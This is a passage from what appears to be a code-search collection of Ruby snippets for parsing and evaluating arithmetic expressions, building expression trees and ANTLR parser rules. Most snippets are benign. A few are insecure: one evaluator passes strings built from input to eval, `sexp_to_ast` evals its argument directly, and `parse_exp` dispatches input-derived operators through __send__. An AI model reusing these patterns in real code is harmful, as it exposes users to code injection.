|expr| check_expression_result(expr, 3-4+5) }\n },\n {\n param: '(3-4)*5',\n predicate: Proc.new { |expr| check_expression_result(expr, (3 - 4)*5) }\n },\n {\n param: '(1+2)*3',\n predicate: Proc.new { |expr| check_expression_result(expr, (1+2)*3) }\n },\n {\n param: '(2+((3+4)*(5*6)))',\n predicate: Proc.new { |expr| check_expression_result(expr, (2+((3+4)*(5*6)))) }\n }\n ]\n end", "def evaluate post_fix_expression\n stack = []\n while !post_fix_expression.empty? \n top = post_fix_expression.shift\n if top == \"*\"\n y, x = stack.pop, stack.pop \n stack.push(x * y)\n elsif top == \"/\"\n y, x = stack.pop, stack.pop\n stack.push(x/y)\n elsif top == \"+\"\n y, x = stack.pop, stack.pop\n stack.push(x+y)\n elsif top == \"-\"\n y, x = stack.pop, stack.pop\n stack.push(x-y)\n else\n stack.push(top)\n end\n end\n stack.pop\n end", "def scopify(expr)\n expr = insert_b(expr)\n @i = 0\n n_expr = \"\"\n last_empty = 0\n open_b = 0\n open_p_b = 0\n open_m_b = 0\n eq = false\n stack = Array.new\n last_e = Array.new\n state = 0\n while @i < expr.size\n case expr[@i]\n # Each part between brackets is seen as a subexpression\n # and it is analyzed recoursively.\n when '('\n scp = Scp.new\n n_expr += expr[@i] + scp.scopify(extract(expr[(@i + 1)...expr.length])) \n @i += scp.count \n when /[\\*\\/]/\n # If there are open brackets of higher opertions\n # it closes them\n if open_m_b > 0\n n_expr += ')' * open_m_b\n last_empty = last_e.pop\n open_m_b = 0\n #open_b -= 1\n end\n if state == 2\n n_expr += ')' * open_p_b\n open_p_b = 0\n state = (stack.size > 0 ? stack.pop : 0)\n end\n # If it is not still analyzing a multiplication, it adds the brackets \n # following the rules\n unless state == 1\n n_expr.insert last_empty, '(' \n state = 1\n open_b += 1\n end\n n_expr += expr[@i]\n last_empty = n_expr.size # + 1\n when /[\\+\\-]/\n # higher priority operation brackets are closed\n # last_empty is shifted\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * open_b if open_b > 0\n state = 0\n open_b = 0\n open_p_b = 0\n n_expr += expr[@i]\n last_empty = n_expr.size\n when /\\^/\n # It begins to put between brackets the operation and its exponent\n if open_m_b > 0 then\n n_expr += \")\" * open_m_b\n last_empty = last_e.pop\n #open_b -= 1\n open_m_b = 0\n end\n n_expr.insert last_empty, '(' unless state == 2\n last_empty += 1 unless state == 2\n n_expr += expr[@i] + (expr[@i+1] == '(' ? '' : '(')\n open_p_b += (expr[@i+1] == '(' ? 1 : (state == 2 ? 1:2))\n stack.push state unless state == 2\n state = 2\n when /\\=/\n # The expression at the left of `=` is put between brackets\n # and a bracket at the right is opened\n # It closes previously opened brackets\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * open_b if open_b > 0\n n_expr += ')' * open_m_b if open_m_b >0\n open_b = 0\n open_p_b = 0\n open_m_b = 0\n n_expr = '(' + n_expr + ')' + expr[@i]\n n_expr += '('\n last_empty = n_expr.size\n state = 0\n eq = true\n when /\\>/\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * open_b if open_b > 0\n open_b = 0\n open_p_b = 0\n n_expr = '(' + n_expr + ')' + expr[@i]\n last_empty = n_expr.size\n when /\\:/\n n_expr.insert last_empty, '('\n n_expr += expr[@i]\n last_k = n_expr[(last_empty+1)...n_expr.size]\n open_m_b += 1 if \"mx:integ:as:from:\".include? last_k\n last_e.pop if last_e.count > 0 and (last_k == \"mx:\" or last_k == \"integ:\")# or last_k == \"solve:\")\n last_e.push last_empty if last_k == \"mx:\" or last_k == \"integ:\"# or last_k == \"solve:\"\n last_empty = n_expr.size\n open_b += 1 unless \"mx:integ:as:from:\".include? last_k\n when /\\\"/\n n_expr += expr[@i]\n @i += 1\n n_expr += discard(expr)\n last_empty = n_expr.length\n when /\\~/\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * (open_b - 1 ) if open_b - 1 > 0\n open_p_b = 0\n open_b = 1\n state = (stack.size > 0 ? stack.pop : 0)\n n_expr += expr[@i]\n last_empty = n_expr.size \n else\n n_expr += expr[@i]\n end\n @i += 1\n end\n # it closes all the opened brackets\n n_expr += ')' * open_m_b if open_m_b > 0\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * open_b if open_b > 0\n n_expr += ')' if eq\n return n_expr\n end", "def evaluate() \n # operand stack\n opStack = []\n \n # iterate over the tokens\n @postfix.split(\"\").each do |c|\n # check if an operator\n if %w[+ - * / ^].include? c\n # pop the stack for the two operands where\n # a [operator] b\n b, a = opStack.pop, opStack.pop\n \n # evaluate the string as an arithmetic expression\n # replace all '^' characters with '**' operator\n opStack.push(eval(\"(#{a})#{c}(#{b})\".gsub(/\\^/,'**')))\n else\n # push any operands onto stack\n opStack.push(c)\n end\n end\n \n # Last item in stack should be the final answer!\n opStack.pop\n end", "def evaluate_postfix(postfix_expression)\n stack = Stack.new()\n return nil if postfix_expression.empty?\n\n # This solution would not work for floats\n postfix_expression.each_char do |char|\n if char.match?(/\\d/)\n stack.push(char)\n elsif char.match?(/[*-\\/+]/)\n val_1 = stack.pop().to_i\n val_2 = stack.pop().to_i\n result = nil\n\n case char\n when '*'\n result = val_1 * val_2\n when '-'\n result = val_2 - val_1\n when '/'\n result = val_2 / val_1\n when '+'\n result = val_1 + val_2\n end\n\n stack.push(result)\n else\n raise StandardError.new \"Invalid character #{char}.\"\n end\n end\n\n return stack.pop()\nend", "def postfix_evaluator(equation)\n stack = []\n for i in equation do\n if str_to_num(i)\n stack.push(str_to_num(i))\n puts stack\n elsif (\"+-*/\").include?(i)\n second_num = stack.pop\n if stack != []\n first_num = stack.pop\n result = math(i, first_num, second_num)\n stack.push(result)\n else\n raise \"Not enough arguments\"\n end\n else\n raise \"Invalid number\"\n end\n end\n stack.pop()\nend", "def to_ruby\n @expression.respond_to?(:to_ruby) ? @expression.to_ruby : @expression\n end", "def prefix_evaluation(expression)\n return nil if expression.class != String\n digits = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\",\"6\", \"7\", \"8\", \"9\"]\n operators = [\"+\", \"-\", \"*\", \"/\", \"**\"]\n expression_array = expression.split(\" \").reverse\n local_stack = Stack.new()\n expression_array.each do |element|\n if digits.include?(element)\n local_stack.push(element)\n elsif operators.include?(element)\n num1 = local_stack.pop()\n num2 = local_stack.pop()\n result = do_math(num1, num2, element)\n local_stack.push(result)\n else\n puts \"undefined character\"\n end\n end\n local_stack.top()\nend", "def infix(precedence, matcher, &block)\n @infix_parsers[matcher] = [precedence, block]\n end", "def expr_to_s\n buf = ''\n each_term do |term|\n if term[:operator]\n buf << term[:operator]\n end\n buf << term[:token]\n end\n buf\n end", "def expression\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 46 )\n return_value = ExpressionReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n member220 = nil\n assignment_op221 = nil\n expression222 = nil\n conditional223 = nil\n\n\n begin\n # at line 556:3: ( ( member assignment_op )=> member assignment_op expression | conditional )\n alt_50 = 2\n alt_50 = @dfa50.predict( @input )\n case alt_50\n when 1\n root_0 = @adaptor.create_flat_list\n\n\n # at line 556:5: ( member assignment_op )=> member assignment_op expression\n @state.following.push( TOKENS_FOLLOWING_member_IN_expression_3699 )\n member220 = member\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, member220.tree )\n end\n @state.following.push( TOKENS_FOLLOWING_assignment_op_IN_expression_3701 )\n assignment_op221 = assignment_op\n @state.following.pop\n if @state.backtracking == 0\n root_0 = @adaptor.become_root( assignment_op221.tree, root_0 )\n end\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_3704 )\n expression222 = expression\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, expression222.tree )\n end\n\n when 2\n root_0 = @adaptor.create_flat_list\n\n\n # at line 557:5: conditional\n @state.following.push( TOKENS_FOLLOWING_conditional_IN_expression_3710 )\n conditional223 = conditional\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, conditional223.tree )\n end\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 46 )\n\n end\n \n return return_value\n end", "def parse_logical_expression\n lhs = case peek_token\n when nil; nil\n when :lparen; parse_expression_sequence\n when :not; parse_logical_not_expression\n when :null, :notnull; parse_null_expression\n else; parse_comparison\n end\n\n if LOGICAL_INFIX_OPERATORS.include?(peek_token)\n operator = next_token\n rhs = parse_logical_expression\n ScopedSearch::QueryLanguage::AST::LogicalOperatorNode.new(operator, [lhs, rhs])\n else\n lhs\n end\n end", "def binExp_Handler(expr)\n\ttypeExpr1 = expression_Handler(expr.elems[0])\n\ttypeExpr2 = expression_Handler(expr.elems[1])\n\tif (typeExpr1 != typeExpr2)\n\t\treturn nil\n\tend\n\tcase expr.op\n\twhen /^\\/\\\\/\n\t\tif typeExpr1 == :BOOLEAN\n\t\t\treturn :BOOLEAN\n\t\telse\n\t\t\treturn nil\n\t\tend\n\twhen /^\\\\\\//\n\t\tif typeExpr1 == :BOOLEAN\n\t\t\treturn :BOOLEAN\n\t\telse\n\t\t\treturn nil\n\t\tend\n\twhen /^(=|\\/=)/\n\t\treturn :BOOLEAN\n\twhen /^[\\+\\-\\*\\/%]/\n\t\tif typeExpr1 == :NUMBER\n\t\t\treturn :NUMBER\n\t\telse\n\t\t\treturn nil\n\t\tend\n\twhen /^[~&]/\n\t\tif typeExpr1 == :CANVAS\n\t\t\treturn :CANVAS\n\t\telse\n\t\t\treturn nil\n\t\tend\n\twhen /^(<|>|<=|>=)/\n\t\tif (typeExpr1 == :NUMBER) and (typeExpr2 == :NUMBER)\n\t\t\treturn :BOOLEAN\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend\nend", "def binExp_Handler(expr)\n\ttypeExpr1 = expression_Handler(expr.elems[0])\n\ttypeExpr2 = expression_Handler(expr.elems[1])\n\tif (typeExpr1 != typeExpr2)\n\t\treturn nil\n\tend\n\tcase expr.op\n\twhen /^\\/\\\\/\n\t\tif typeExpr1 == :BOOLEAN\n\t\t\treturn :BOOLEAN\n\t\telse\n\t\t\treturn nil\n\t\tend\n\twhen /^\\\\\\//\n\t\tif typeExpr1 == :BOOLEAN\n\t\t\treturn :BOOLEAN\n\t\telse\n\t\t\treturn nil\n\t\tend\n\twhen /^(=|\\/=)/\n\t\treturn :BOOLEAN\n\twhen /^[\\+\\-\\*\\/%]/\n\t\tif typeExpr1 == :NUMBER\n\t\t\treturn :NUMBER\n\t\telse\n\t\t\treturn nil\n\t\tend\n\twhen /^[~&]/\n\t\tif typeExpr1 == :CANVAS\n\t\t\treturn :CANVAS\n\t\telse\n\t\t\treturn nil\n\t\tend\n\twhen /^(<|>|<=|>=)/\n\t\tif (typeExpr1 == :NUMBER) and (typeExpr2 == :NUMBER)\n\t\t\treturn :BOOLEAN\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend\nend", "def to_s\n # Wrap the expression on the left/right in parentheses if the operation of\n # the expression on the left/right has a lower precedence than this\n # Expression's, e.g. 2 * (3 + 5) because without parentheses it becomes 6 +\n # 5\n [@left, @right].each do |operand|\n if operand.class == Expression\n operand.do_parens = (has_lower_precedence?(operand) or ! operand.is_associative?)\n end\n end\n string = \"#{@left} #{@operator} #{@right}\"\n # Wrap in parentheses if necessary\n string = \"(#{string})\" if @do_parens\n return string\n end", "def eval\n return @value unless @value.nil?\n \n debug \"\\nfor RPN expression: #{expression}\\nTerm\\tAction\\tStack\"\n stack = []\n expression.split.each do |term|\n if Operators.has_key?(term)\n a, b = stack.pop(2)\n raise ArgumentError, \"not enough operands on the stack\" if b.nil?\n a = a.to_f if term == \"/\"\n op = (term == \"^\" ? \"**\" : term)\n stack.push(a.method(op).call(b))\n debug \"#{term}\\t#{Operators[term].english}\\t#{stack}\"\n else\n begin\n number = Integer(term) rescue Float(term)\n rescue ArgumentError\n raise ArgumentError, \"cannot handle term: #{term}\"\n end\n stack.push(number)\n debug \"#{number}\\tPUSH\\t#{stack}\"\n end\n end\n @value = stack.pop\n debug \"Value = #@value\"\n @value\n end", "def parse_expr_tree(expr_tree, opts = {})\n instruction = {\n selects: {},\n joins: [],\n where: \"\"\n }\n\n # If expr_tree is blank\n if expr_tree.blank?\n instruction[:where] = TRUE_WHERE_QUERY\n return instruction\n end\n\n # If expr_tree is not blank\n tree_operator = nil\n where_stack = []\n\n expr_tree.each_with_index do |expr, idx|\n if (idx == 0) && (%w(AND OR).include? expr)\n tree_operator = expr\n else\n if expr.is_a? Array\n result = parse_expr_tree(expr, opts)\n instruction[:joins] |= result[:joins].flatten\n instruction[:selects].merge! result[:selects]\n where = \"(#{result[:where]})\"\n else\n\n # =====================================================================================\n # TODO: @giosakti simplify this algorithm\n # =====================================================================================\n\n expr_stack = expr.scan(/(?:\"(?:\\\\.|[^\"])*\"|[^\" ])+/)\n if (expr_stack.size != 3) && (!%w(= IN).include? expr_stack[1])\n raise \"Syntax error #{expr}\"\n else\n operator = expr_stack[1]\n\n #\n # Evaluate lhs\n #\n lhs_expr = expr_stack.first\n if lhs_expr.start_with?(\"object\")\n result = parse_lhs(lhs_expr, opts[:object], operator)\n lhs_join = result[:join]\n lhs_select = result[:select]\n lhs_where = result[:where]\n else\n raise \"Syntax error: #{lhs_expr} at left-hand side\"\n end\n\n #\n # Evaluate rhs\n #\n rhs_expr = expr_stack.last\n if rhs_expr.start_with?(\"subject\")\n rhs_where = parse_rhs(rhs_expr, opts[:subject], operator)\n else\n rhs_where = rhs_expr\n end\n\n #\n # Formulaize instructions\n #\n instruction[:joins] |= [lhs_join] if lhs_join.present?\n instruction[:selects].merge! lhs_select if lhs_select.present?\n if rhs_where.present?\n where = \"#{lhs_where} #{operator} #{rhs_where}\"\n else\n where = FALSE_WHERE_QUERY\n end\n end\n\n # =====================================================================================\n # END TODO: @giosakti simplify this algorithm\n # =====================================================================================\n\n end\n\n where_stack.push where\n end\n end\n\n if tree_operator\n instruction[:where] = where_stack.join(\" #{tree_operator} \")\n else\n instruction[:where] = where_stack.shift\n end\n\n return instruction\n end", "def expression\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 23 )\n __COMPARITIONOPERATORS10__ = nil\n\n begin\n # at line 705:5: exp ( COMPARITIONOPERATORS exp )?\n @state.following.push( TOKENS_FOLLOWING_exp_IN_expression_1070 )\n exp\n @state.following.pop\n # at line 705:9: ( COMPARITIONOPERATORS exp )?\n alt_26 = 2\n look_26_0 = @input.peek( 1 )\n\n if ( look_26_0 == COMPARITIONOPERATORS )\n alt_26 = 1\n end\n case alt_26\n when 1\n # at line 705:10: COMPARITIONOPERATORS exp\n __COMPARITIONOPERATORS10__ = match( COMPARITIONOPERATORS, TOKENS_FOLLOWING_COMPARITIONOPERATORS_IN_expression_1073 )\n # --> action\n #Regla 8\n \t @stack_operators.push(__COMPARITIONOPERATORS10__.text)\n \t \n # <-- action\n @state.following.push( TOKENS_FOLLOWING_exp_IN_expression_1087 )\n exp\n @state.following.pop\n # --> action\n #Regla 9\n \t\t operator = @stack_operators.pop\n \t\t operand_b = @stack_operands.pop\n \t\t operand_a = @stack_operands.pop\n \t\t result = get_avail\n \t\t generate(operator, operand_a, operand_b, result)\n \t\t free_avail(operand_a)\n \t\t free_avail(operand_b)\n \t\t free_avail_const(operand_a)\n \t\t free_avail_const(operand_b)\n \t\t @stack_operands.push(result)\n \t\t @stack_types.push(resulting_type(@stack_types.pop, @stack_types.pop, operator))\n \t \n # <-- action\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 23 )\n\n end\n \n return \n end", "def parse_exp(exp)\n exp = exp.sub(/@/, '').gsub(/^\\(/, '').gsub(/\\)$/, '').tr('\"', '\\'').strip\n exp.scan(/^\\[(\\d+)\\]/) do |i|\n next if i.empty?\n\n index = Integer(i[0])\n raise ArgumentError, 'Node does not appear to be an array.' unless @_current_node.is_a?(Array)\n raise ArgumentError, \"Index out of bounds for nested array. Index: #{index}\" if @_current_node.size < index\n\n @_current_node = @_current_node[index]\n # Remove the extra '' and the index.\n exp = exp.gsub(/^\\[\\d+\\]|\\[''\\]/, '')\n end\n scanner = StringScanner.new(exp)\n elements = []\n until scanner.eos?\n if (t = scanner.scan(/\\['[a-zA-Z@&*\\/$%^?_]+'\\]|\\.[a-zA-Z0-9_]+[?]?/))\n elements << t.gsub(/[\\[\\]'.]|\\s+/, '')\n elsif (t = scanner.scan(/(\\s+)?[<>=!\\-+][=~]?(\\s+)?/))\n operator = t\n elsif (t = scanner.scan(/(\\s+)?'?.*'?(\\s+)?/))\n # If we encounter a node which does not contain `'` it means\n #  that we are dealing with a boolean type.\n operand =\n if t == 'true'\n true\n elsif t == 'false'\n false\n elsif operator.to_s.strip == '=~'\n parse_regex(t)\n else\n t.gsub(%r{^'|'$}, '').strip\n end\n elsif (t = scanner.scan(/\\/\\w+\\//))\n elsif (t = scanner.scan(/.*/))\n raise \"Could not process symbol: #{t}\"\n end\n end\n\n el = if elements.empty?\n @_current_node\n elsif @_current_node.is_a?(Hash)\n dig(@_current_node, *elements)\n else\n elements.inject(@_current_node, &:__send__)\n end\n\n return (el ? true : false) if el.nil? || operator.nil?\n\n el = Float(el) rescue el\n operand = Float(operand) rescue operand\n\n el.__send__(operator.strip, operand)\n end", "def to_expr\n return @signal.to_expr\n end", "def binary(node, iff, label)\n #iff = true if `binary` was called to evaluate the condition clause of an (if-statement or while-stmt)\n if node.left\n leftreg = gen(node.left)\n end\n\n if(node.right)\n rightreg = gen(node.right, leftreg)\n end\n\n case node.a_type\n when :PLUS\n @cg.cgadd(leftreg, rightreg)\n when :MINUS\n @cg.cgsub(leftreg, rightreg)\n when :STAR\n @cg.cgmul(leftreg, rightreg)\n when :SLASH\n @cg.cgdiv(leftreg, rightreg)\n when :EQ_EQ, :NE, :LT, :GT, :GE, :LE\n if not iff\n @cg.cgcompare_and_set(node.a_type, leftreg, rightreg)\n else\n @cg.cgcompare_and_jump(node.a_type, leftreg, rightreg, label)\n end\n else\n puts \"unknown AST op #{node.a_type}\"\n exit(1)\n end\n end", "def eval_unary_operation(node, env, stack_trace)\n\n\tcase node.operator.value\n\twhen \"!\"\n\t\tvalue, _ = eval_node_under(node.right, env, stack_trace)\n\t\tcase value\n\t\tin Boolean\n\t\t\treturn Boolean.new(value.line, value.col, !value.value), env\n\t\telse\n\t\t\tthrow_error(\"UnaryOperator '#{node.operator.value}' not implemented for: #{value.type}.\", node, stack_trace) \n\t\t\treturn nil, env\n\t\tend\n\twhen \"-\"\n\t\tvalue, _ = eval_node_under(node.right, env, stack_trace)\n\t\tcase value\n\t\tin Term\n\t\t\treturn flip_sign_on_term(value), env\n\t\tin TermList\n\t\t\treturn flip_sign_on_term_list(value), env\n\t\tin Fraction\n\t\t\treturn flip_sign_on_fraction(value), env\n\t\tin Matrix\n\t\t\treturn multiply_matrix_and_term(value, Term.new(-1,-1, magnitude: -1))\n\t\telse\n\t\t\tthrow_error(\"UnaryOperator '#{node.operator.value}' not implemented for: #{value.type}.\", node, stack_trace) \n\t\t\treturn nil, env\n\t\tend\n\twhen \"~\"\n\t\tvalue, _ = eval_node_under(node.right, env, stack_trace)\n\t\tcase value\n\t\tin Matrix\n\t\t\treturn transpose_of_matrix(value), env\n\t\telse\n\t\t\tthrow_error(\"UnaryOperator '#{node.operator.value}' not implemented for: #{value.type}.\", node, stack_trace) \n\t\t\treturn nil, env\n\t\tend\n\telse\n\t\tthrow_error(\"UnaryOperator '#{node.operator.value}' is not implemented.\", node, stack_trace)\n\tend\n\nend", "def insert_b(expr)\n @i = 0\n string = false\n while @i < expr.size \n string = (expr[@i] == \"\\\"\") ? (string ? false : true) : (string)\n if (expr[@i] == '-' or expr[@i] == '+') and ((expr[@i - 1] == '(') or (@i == 0)) and !string then\n expr.insert @i, '()'\n end\n @i += 1\n end\n return expr\n end", "def build_expression_node(node, model_class, comparator, conditions, root = false)\n conditions.reduce([nil, []]) do |(left_expression, joins), (key, value)|\n comparison_node, node_joins = build_comparison_node(root ? node : node.dup, model_class,\n key, comparator, value)\n if left_expression\n [left_expression & comparison_node, joins.concat(node_joins)]\n else\n [comparison_node, node_joins]\n end\n end\n end", "def evaluatePostfix(exprStr)\n\t\tstack = Array.new\n\n\t\tfor i in 0...exprStr.split.length\n\t\t\tcurrent = exprStr.split[i]\n\n\t\t\tif operand?(current)\n\t\t\t\tstack.push(current)\n\t\t\tend\n\n\t\t\tif operator?(current)\n\t\t\t\ty = stack.pop\n\t\t\t\tx = stack.pop\n\t\t\t\to = current\n\t\t\t\tresults = applyOperator(x, y, o.to_s)\n\t\t\t\tstack.push(results)\n\t\t\tend\n\t\tend\n\n\t\treturn stack.pop\n end", "def parse_ginfix(opsym, opupdate, sof, subparser, inp)\n e1, inp1 = subparser.call(inp)\n if inp1 != [] && inp1[0] == opsym\n parse_ginfix(opsym, opupdate, opupdate.curry.call(sof, e1), subparser, inp1[1..-1])\n else\n return sof.call(e1), inp1\n end\n end", "def to_sxp_bin\n [NAME] + operands.reject {|o| o.to_s == \"\"}\n end", "def to_bnf\n return [self] unless rule?\n new_rules = []\n\n # Look for rules containing recursive definition and rewrite to multiple rules. If `expr` contains elements which are in array form, where the first element of that array is a symbol, create a new rule for it.\n if expr.any? {|e| e.is_a?(Array) && (BNF_OPS + TERM_OPS).include?(e.first)}\n # * Transform (a [n] rule (op1 (op2))) into two rules:\n # (a.1 [n.1] rule (op1 a.2))\n # (a.2 [n.2] rule (op2))\n # duplicate ourselves for rewriting\n this = dup\n new_rules << this\n\n expr.each_with_index do |e, index|\n next unless e.is_a?(Array) && e.first.is_a?(Symbol)\n new_rule = build(e)\n this.expr[index] = new_rule.sym\n new_rules << new_rule\n end\n\n # Return new rules after recursively applying #to_bnf\n new_rules = new_rules.map {|r| r.to_bnf}.flatten\n elsif expr.first == :opt\n this = dup\n # * Transform (rule a (opt b)) into (rule a (alt _empty b))\n this.expr = [:alt, :_empty, expr.last]\n this.cleanup = :opt\n new_rules = this.to_bnf\n elsif expr.first == :star\n # * Transform (rule a (star b)) into (rule a (alt _empty (seq b a)))\n this = dup\n this.cleanup = :star\n new_rule = this.build([:seq, expr.last, this.sym], cleanup: :merge)\n this.expr = [:alt, :_empty, new_rule.sym]\n new_rules = [this] + new_rule.to_bnf\n elsif expr.first == :plus\n # * Transform (rule a (plus b)) into (rule a (seq b (star b)\n this = dup\n this.cleanup = :plus\n this.expr = [:seq, expr.last, [:star, expr.last]]\n new_rules = this.to_bnf\n elsif [:alt, :seq].include?(expr.first)\n # Otherwise, no further transformation necessary\n new_rules << self\n elsif [:diff, :hex, :range].include?(expr.first)\n # This rules are fine, they just need to be terminals\n raise \"Encountered #{expr.first.inspect}, which is a #{self.kind}, not :terminal\" unless self.terminal?\n new_rules << self\n else\n # Some case we didn't think of\n raise \"Error trying to transform #{expr.inspect} to BNF\"\n end\n \n return new_rules\n end", "def parse_branch_right lhs\n parse_eols\n op = @s.scan(/[\\t\\ ]*(\\/[\\*\\+\\?]?)[\\t\\ ]*/)\n return if !op\n op = Token.new('op.branch', op.strip)\n terms = []\n while t = parse_term\n terms << t\n end\n Branch[op, lhs, terms, parse_callback]\n end", "def invert_tree(root)\n return root if !root\n stack = [root]\n while stack.length > 0\n node = stack.pop\n node.left , node.right = node.right, node.left\n stack << node.left if node.left\n stack << node.right if node.right\n end\n root\nend", "def array_to_binary(arr)\n node = Node.new(arr[0])\n arr.slice(1..-1).each {|el| insert_into_tree(node, el) }\n node\nend", "def to_nfa\n exec(:expression)\n end", "def parse_unary\n if consume(:bang)\n Node.new(:unary, op: :not, lhs: parse_unary)\n elsif consume(:plus)\n Node.new(:unary, op: :plus, lhs: parse_term)\n elsif consume(:minus)\n Node.new(:unary, op: :minus, lhs: parse_term)\n else\n parse_term\n end\n end", "def expr(path_stack, nodeset, context = T.unsafe(nil)); end", "def tree\n @flow_expression.tree\n end", "def buildTree( prefixArray )\n return nil if prefixArray.empty?\n value = prefixArray.pop\n if( root.nil? )\n @root = TreeNode.new(value, nil, nil)\n # the right child comes before left since prefixArray \n # is really a _stack_\n @root.rightChild = buildTree( prefixArray )\n @root.leftChild = buildTree( prefixArray )\n elsif( isOp?(value) )\n newNode = TreeNode.new(value, nil, nil)\n newNode.rightChild = buildTree( prefixArray )\n newNode.leftChild = buildTree( prefixArray )\n return newNode\n else\n return TreeNode.new(value, nil, nil)\n end\n end", "def recursive_eval_infix(string)\n raise \"Bad characters\" if string =~ INVALID_CHARACTERS\n source = StringEnumerator.new(string)\n result = eval_infix(source)\n raise \"Extra characters at the end of the expression\" unless source.empty?\n result\nend", "def inorder(node,stack)\n\tif node == nil\n\t\treturn\n\tend\t\n\tinorder(node.left,stack)\n\tstack.push(node.val)\n\tinorder(node.right,stack)\nend", "def parse_expression(expr); end", "def test_proper_stack\n stack = TokenStack.new\n stack.push('4')\n stack.push('3')\n stack.push('*')\n terp = Interpreter.new(false, true)\n\n result = terp.binary_operation(0, stack)\n assert_equal 12, result\n end", "def original_tree\n\n @root_expression && @root_expression.original_tree\n end", "def sexp_to_ast(sexp)\n eval sexp\n end", "def test_9InExpression\n \n assert_nothing_thrown(\"Creating AST objects\") { \n \n # Set debug log level\n Common::Logger.setLogLevel(Common::VAR_DEBUG)\n \n var_AST = AST.new(\"sampledata/data.xml\")\n \n expression = InExpression.new(\n BagExpression.new(CommaExpression.new(IntegerTerminal.new(888), FloatTerminal.new(11.321))),\n BagExpression.new(CommaExpression.new(StringTerminal.new(\"Test\"), IntegerTerminal.new(888))))\n \n expression.execute(var_AST)\n\n result = var_AST.VAR_QRES().pop()\n \n assert_equal(\"QRES::BagResult\", result.class.to_s())\n assert_equal(0, result.VAR_OBJECT().size())\n \n expression = IntersectExpression.new(\n StructExpression.new(CommaExpression.new(IntegerTerminal.new(888), FloatTerminal.new(11.321))),\n StructExpression.new(CommaExpression.new(FloatTerminal.new(11.321), IntegerTerminal.new(888))))\n \n expression.execute(var_AST)\n \n result = var_AST.VAR_QRES().pop()\n \n assert_equal(\"QRES::BagResult\", result.class.to_s())\n assert_equal(11.321, result.pop().VAR_OBJECT())\n assert_equal(888, result.pop().VAR_OBJECT()) \n }\n end", "def evaluate(ex)\n @stack=[]\n @expr.each do |el|\n case el\n when HopExprVar\n # evaluate variable\n var,dot,field=el.value.partition('.')\n if field==''\n # scalar\n val=VarStor.getScalar(ex,el.value)\n else\n # cortege field\n begin\n val=VarStor.getCortege(ex,var)[field]\n rescue\n warn \">> Opppps: #{var}.#{field}\"\n nil\n end\n end\n @stack.push val\n\n when Numeric, String\n # constant\n @stack.push el\n\n when HopExprOp\n case el.value\n when '+'\n a1=@stack.pop\n a2=@stack.pop\n warn \">>PLUS: #{a1},#{a2}\"\n raise SyntaxErrHopError if a2.nil?\n @stack.push a1.to_f+a2.to_f\n when '*'\n a1=@stack.pop\n a2=@stack.pop\n raise SyntaxErrHopError if a2.nil?\n @stack.push a1.to_f*a2.to_f\n when '-'\n a1=@stack.pop\n a2=@stack.pop\n warn \">>MINUS: #{a1},#{a2}\"\n raise SyntaxErrHopError if a2.nil?\n @stack.push a2.to_f-a1.to_f\n when '/'\n a1=@stack.pop\n a2=@stack.pop\n raise SyntaxErrHopError if a2.nil?\n @stack.push a2.to_f/a1.to_f\n when '%'\n a1=@stack.pop\n a2=@stack.pop\n raise SyntaxErrHopError if a2.nil?\n @stack.push a2.to_f%a1.to_f\n else\n raise SyntaxErrHopError\n end\n end #~case\n end # ~each expression\n raise SyntaxErrHopError.new(@expr.to_s+' ('+@stack.to_s+')') if @stack.size>1\n\n return @stack.pop\n end", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def evaluate_postfix(postfix_expression)\n raise NotImplementedError, \"Not implemented yet\"\nend", "def compile_to_ruby\n operator_ruby_string + \"(\" + @expression.compile_to_ruby + \")\"\n end", "def build_tree(elements)\n return if elements.empty?\n char = elements.shift\n node = BinaryTree.new(char)\n if char == \"I\"\n node.left = build_tree(elements)\n node.right = build_tree(elements)\n end\n return node\nend" ]
